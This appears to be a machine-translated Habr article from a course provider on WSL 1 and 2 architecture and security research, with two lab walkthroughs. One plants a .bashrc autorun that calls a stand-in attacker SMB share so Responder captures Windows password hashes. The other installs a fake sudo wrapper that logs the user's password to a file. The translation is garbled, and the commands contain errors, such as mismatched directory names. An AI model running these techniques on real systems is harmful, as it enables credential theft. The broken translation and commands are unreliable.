WSL Experimenter. Deel 1

Moien, habr! OTUS lancéiert en neie Course Stream am Oktober "Linux Sécherheet". An der Erwaardung vum Start vum Cours deele mir Iech en Artikel geschriwwen vun engem vun eisen Enseignanten, Alexander Kolesnikov.

WSL Experimenter. Deel 1

Am 2016 huet Microsoft déi nei WSL Technologie an d'IT Gemeinschaft agefouert (Wbannen Subsystem fir Linux), wat an Zukunft et méiglech gemaach huet, virdru irreconcilable Konkurrenten ze verbannen, déi fir d'Popularitéit tëscht gewéinlechen a fortgeschrattene OS Benotzer gekämpft hunn: Windows a Linux. Dës Technologie huet et méiglech gemaach Linux OS Tools an engem Windows Ëmfeld ze benotzen ouni de Besoin fir Linux ze lafen, zum Beispill mat Multi-Boot. Op Habr kënnt Dir eng grouss Zuel vun Artikelen fannen, déi d'Virdeeler vum WSL benotzen. Wéi och ëmmer, leider, zum Zäitpunkt vun der Schafung vun dësem Artikel, goufen op dëser Ressource keng Studien iwwer d'Sécherheet vun esou enger Symbios vu Betribssystemer fonnt. Dëse Post wäert e Versuch sinn dëst ze korrigéieren. Den Artikel wäert iwwer d'Features vun der WSL 1 an 2 Architekturen schwätzen an e puer Beispiller vun Attacken op Systemer ënnersicht déi dës Technologien benotzen. Den Artikel ass an 2 Deeler opgedeelt. Déi éischt wäert d'Haapttheoretesch Attackmethoden vu Linux a Windows ubidden. Den zweeten Artikel betrëfft en Testëmfeld opzestellen an d'Attacke reproduzéieren.

WSL 1: architektonesch Fonctiounen

Fir déi genaust Taucht an WSL Sécherheetsprobleemer, ass et néideg d'Haaptnuancen ze bestëmmen déi mat der Ëmsetzung vum Subsystem verbonne sinn. Eng vun den Haaptbenotzeraufgaben, déi vum WSL geléist ginn, ass d'Fäegkeet duerch e Linux-Terminal op engem Host mat Windows OS ze schaffen. Och d'Offerkompatibilitéit war sou gebierteg datt Linux Ausféierbaren (ELFs) direkt op engem Windows System ausgefouert kënne ginn. Fir dës Ziler z'erreechen, gouf e speziellen Ënnersystem am Windows 10 erstallt, deen Iech erlaabt Linux Uwendungen mat enger Rei vu spezifesche Systemruffen auszeféieren - also gouf e Versuch gemaach fir eng Rei vu Linux Syscallen op Windows ze mapen. Dëst gouf kierperlech implementéiert andeems nei Chauffeuren an en neie Prozessformat bäigefüügt goufen. Visuell huet d'Architektur esou ausgesinn:

WSL Experimenter. Deel 1

Tatsächlech ass d'Interaktioun mam Linux Betribssystem duerch verschidde Kernelmoduler an eng speziell Aart vu Prozess organiséiert - pico. Aus dem Diagramm uewendriwwer kënnt Dir gesinn datt de Prozess deen op der Linux Instanz op dem Host leeft muss gebierteg sinn a muss déiselwecht Ressourcen benotzen wéi normal Windows Uwendungen. Awer wéi dëst z'erreechen? Am Projet Zuchbréck Prozesskonzepter fir Windows goufen entwéckelt, déi all déi néideg Komponente vum Betribssystem geliwwert hunn (ofhängeg vu senger Versioun) fir eng Applikatioun vun engem aneren OS ze lafen.

Bedenkt datt déi proposéiert Abstraktioun et méiglech gemaach huet net op de Betribssystem ze fokusséieren (besonnesch Windows), an deem de Prozess vun engem aneren OS erwaart gëtt ze starten, a proposéiert eng allgemeng Approche.

Also, all Applikatioun am Pico-Prozess kéint lafen ouni Bezuch op de Windows Kernel:

  1. Problemer vun Onbedenklechkeet an Iwwersetzung vun System rifft muss vun speziellen Ubidder geléist ginn;
  2. Zougang Kontroll muss duerch de Sécherheetsmonitor gemaach ginn. De Monitor läit am Kärel an dofir brauch Windows en Upgrade a Form vun engem neie Chauffer deen als Provider fir sou Prozesser handele kéint. De Prototyp Pico Prozess gëtt schematesch ënnendrënner presentéiert:

WSL Experimenter. Deel 1

Zënter dem Linux Dateiesystem benotzt case-sensibel Datei- a Verzeichnisnamen, goufen 2 Aarte vu Dateiesystemer op Windows bäigefüügt fir mat WSL - VolFS an DriveFS ze schaffen. VolFS ass eng Implementatioun vum Linux Dateiesystem, DriveFS ass e Dateiesystem deen no Windows Reegelen funktionnéiert, awer d'Fäegkeet huet Fallempfindlechkeet ze wielen.

WSL 2

WSL 1 hat eng Rei vu Aschränkungen, déi et net erlaabt hunn, fir déi maximal Palette vun Aufgaben ze léisen: zum Beispill, et huet net d'Méiglechkeet fir 32-Bit Linux Uwendungen ze lafen, an et war onméiglech fir Apparat Chauffeuren ze benotzen. Dofir, am Joer 2020, gouf WSL 2 verëffentlecht, wat d'Approche fir den Ënnersystem ze bauen geännert huet. WSL 2 ass eng optimiséiert virtuell Maschinn déi de Ressourceverbrauchseigenschaften vum WSL 1 entsprécht. Elo, ofhängeg vun de Problemer, déi vum Windows OS Benotzer geléist ginn, kënnt Dir déi erfuerderlech Versioun vum Linux Subsystem auswielen. Fir méiglech Schwachstelle ze reduzéieren, gouf WSL 2 implementéiert baséiert op Hyper-V am Windows 10. An dëser Form huet Windows d'Fäegkeet fir de Linux Betribssystem Kernel isoléiert ze lafen. Et ass derwäert ze erënneren datt d'Versioun 1 vu WSL als Beta Feature agefouert gouf, déi d'Richtung vun der Windows Entwécklung an dësem Beräich sollt weisen, sou datt den Iwwergank op Hyper-V inévitabel war. Déi definitiv Architektur gesäit esou aus:

WSL Experimenter. Deel 1

An dëser Versioun hunn d'Windows- a Linux-Kären hir eege Ressourcen an d'Kräizung existéiert nëmmen am Dateiesystem, awer dës Kräizung ass net komplett. Interaktioun tëscht Dateisystemer gëtt duerch e Client-Server-Wrapper duerchgefouert deen mam 9P Protokoll funktionnéiert.

Haut bitt Microsoft d'Méiglechkeet tëscht WSL 1 an WSL 2 ze wiesselen. Béid Versioune si verfügbar fir ze benotzen.

WSL Sécherheet

Am Moment sinn et e puer Wierker déi e puer Approche beschreiwen fir legitim OS Tools ze benotzen fir Kommunikatioun tëscht Subsystemer z'attackéieren. Mir wäerten hir Scripte benotzen fir d'Relevanz vun den Attacke beim Schreiwen ze kontrolléieren. Allgemeng Lëscht vun Attacken an Szenarie:

1. Fichier System Ëmsetzung: Zougang Rechter, Disponibilitéit vun gedeelt Verzeechnes / Datenaustausch Mechanismen.

Fuerschung war gehaal Violatioune vun Zougang Regelen ze bestëmmen aus Linux FS->Windows FS, Windows FS->Linux FS. Fuerschung huet d'Fäegkeet bewisen fir eng gegebene Datei am Zil-OS z'änneren. Et goufen och Versuche gemaach fir ze ersetzen, Duplikaten ze kreéieren an en Deel vun de Dateiesystemer ze läschen.

Szenario:

  • A. Attack vum Windows Betriebssystem - Ännerung vun Dateien aus dem /etc Verzeichnis vum Linux OS.
  • B. Attack vum Linux Betriebssystem - Ännerung vun Dateien an Verzeichnisser: C:Windows, C:Program Files, C:Users<User>

2. Ëmsetzung vun der Reseau Stack.

D'Fuerschung gouf mat Beispiller vun Attacke vum Linux Betribssystem op Windows duerchgefouert. D'Features vum Netzstack goufen benotzt, nämlech Authentifikatiounsmechanismen op verschidde Ressourcen.

Szenario:

  • Den Zougang zu engem Hafen opmaachen deen op engem Windows System besat ass
  • En Hafen opmaachen ouni déi entspriechend Rechter
  • Lafen ëmgedréint Shell mat Elf Datei op Windows Betribssystem.

3. Verstoppt de Start vu béiswëlleg Softwareprozesser mat dem WSL-Subsystem.

D'Fuerschung baséiert op engem einfachen Fakt - Sécherheetssubsystemer kënnen d'Evenementer an engem anere Kärel net offangen, deen e legitimen Fournisseur vum Betribssystem benotzt am Fall vu WSL 1. Am Fall vu WSL 2 gëtt et kee Wee fir Eventer ze gesinn déi optrieden an engem separaten Kernel bannent liicht virtuell Maschinn.

Szenario:

1) Start d'Applikatioun fir Remote Zougang zum System a kuckt déi protokolléiert Eventer.

WSL 1 Experimenter: Hash Interceptioun (Windows)

Endlech si mer zum prakteschen Deel komm. Als éischt musst Dir d'Testëmfeld opsetzen. All Experimenter ginn op enger Bank mat installéiert Windows 10 2004. D'Ubuntu 18.04 Bild gouf als Betribssystembild fir WSL gewielt. D'Bild gouf zoufälleg gewielt, an all aner wäert d'selwecht funktionnéieren. Kommandoen fir e Stand opzestellen:

Dir musst éischt starten powershell.exe als Administrateur.

Fir WSL 1 musst Dir d'Befehle lafen:

  1. Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #Включить функцию WSL
  2. Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804

-OutFile ~/Ubuntu.appx -UseBasicParsing #Загрузить образ Linux из магазина Microsoft

  • Ubuntu.appx install —root #Установим образ
  • Возможно, придется прокликать процесс настройки и создать нового пользователя, который будет иметь меньше прав, чем root. Для наших тестов это будет обычный пользователь sam.
  • Restart-Computer #Перезагрузим
  • Nodeems Dir de Stand nei gestart hutt, kënnt Dir de Bash Kommando nennen. Wann alles richteg funktionnéiert, gesitt Dir eng ähnlech Ausgang an der Windows Konsole:

    WSL Experimenter. Deel 1

    Mir benotzen d'Kali Linux Verdeelung als d'Maschinn vum Ugräifer; all Maschinnen mussen am selwechte lokalen Netzwierk sinn.

    Loosst eis unhuelen datt mir onprivilegéierten Zougang zu WSL op enger Windows Maschinn hunn. Loosst eis probéieren de Linux Betribssystem ze attackéieren andeems Dir e Kommando vu Linux rufft. Fir den Attack ëmzesetzen, benotze mir eng einfach Autorun Technik - mir addéieren eis Skript fir d'Ausféierung am Linux Ëmfeld. Fir dëst ze maachen, musst Dir d'Datei änneren .bashrc.

    Op enger Maschinn mat WSL maache mir aus:

    	1. bash
    	2. Переходим в домашнюю директорию пользователя: cd /home/sam/
    	2. echo  «/home/sam/.attack.sh» >> .bashrc
    	3. echo «icalcs.exe » \\\\attacker_ip\\shareName\\» > /dev/null 2>&1» >> .attack.sh
    	4. chmod u+x .attack.sh
    	5. exit

    Op enger Kali Linux Maschinn lafen mir:

    1. Responder -I eth0 -rdvw

    Op enger Windows Maschinn, loosst eis bash starten.

    Mir waarden op d'Resultat op der Kali Linux Maschinn:

    WSL Experimenter. Deel 1

    Also hu mir de Windows Benotzer Hashes duerch de WSL Subsystem kritt andeems Dir de Kommando um Linux System ausféiert.

    WSL 1 Experimenter: Benotzer Passwuert kréien (Linux OS)

    Loosst eis nach een Experiment maachen. Wärend dëser Iwwerpréiwung wäerte mir de Fichier derbäisetzen .bashrc e puer Kommandoen fir de Linux Betribssystem Benotzerpasswuert ze kréien.

    Loosst eis bash starten a gitt d'Befehle:

    1. mkdir .hidden
    2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
    3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
    4. echo "echo """ >> .mysudo/sudo
    5. echo "sleep 2" >> .mysudo/sudo
    6. echo "echo "Sorry, try again."" >> .mysudo/sudo
    7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt» >> .mysudo/sudo
    8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
    9. chmod +x .mysudo/sudo
    10. exit

    Fir den Attack erfollegräich ofzeschléissen, muss de Benotzer Sam sudo am Linux-Terminal uruffen. Duerno gëtt de Linux OS Benotzerpasswuert an der Datei pass.txt:

    WSL Experimenter. Deel 1

    D'Ëmsetzung vun den Attacke gouf nëmme fir theoretesch Informatioun uginn.

    Den nächsten Deel vum Artikel wäert d'Ëmsetzung vum 9P-Protokoll beschreiwen, d'Schafung vun engem Scanner fir dëse Protokoll berücksichtegen, an och en Attack duerchzeféieren.

    Lëscht vun de benotzte Literatur

    WSL Experimenter. Deel 1

    Liest méi

    Source: will.com

    Setzt e Commentaire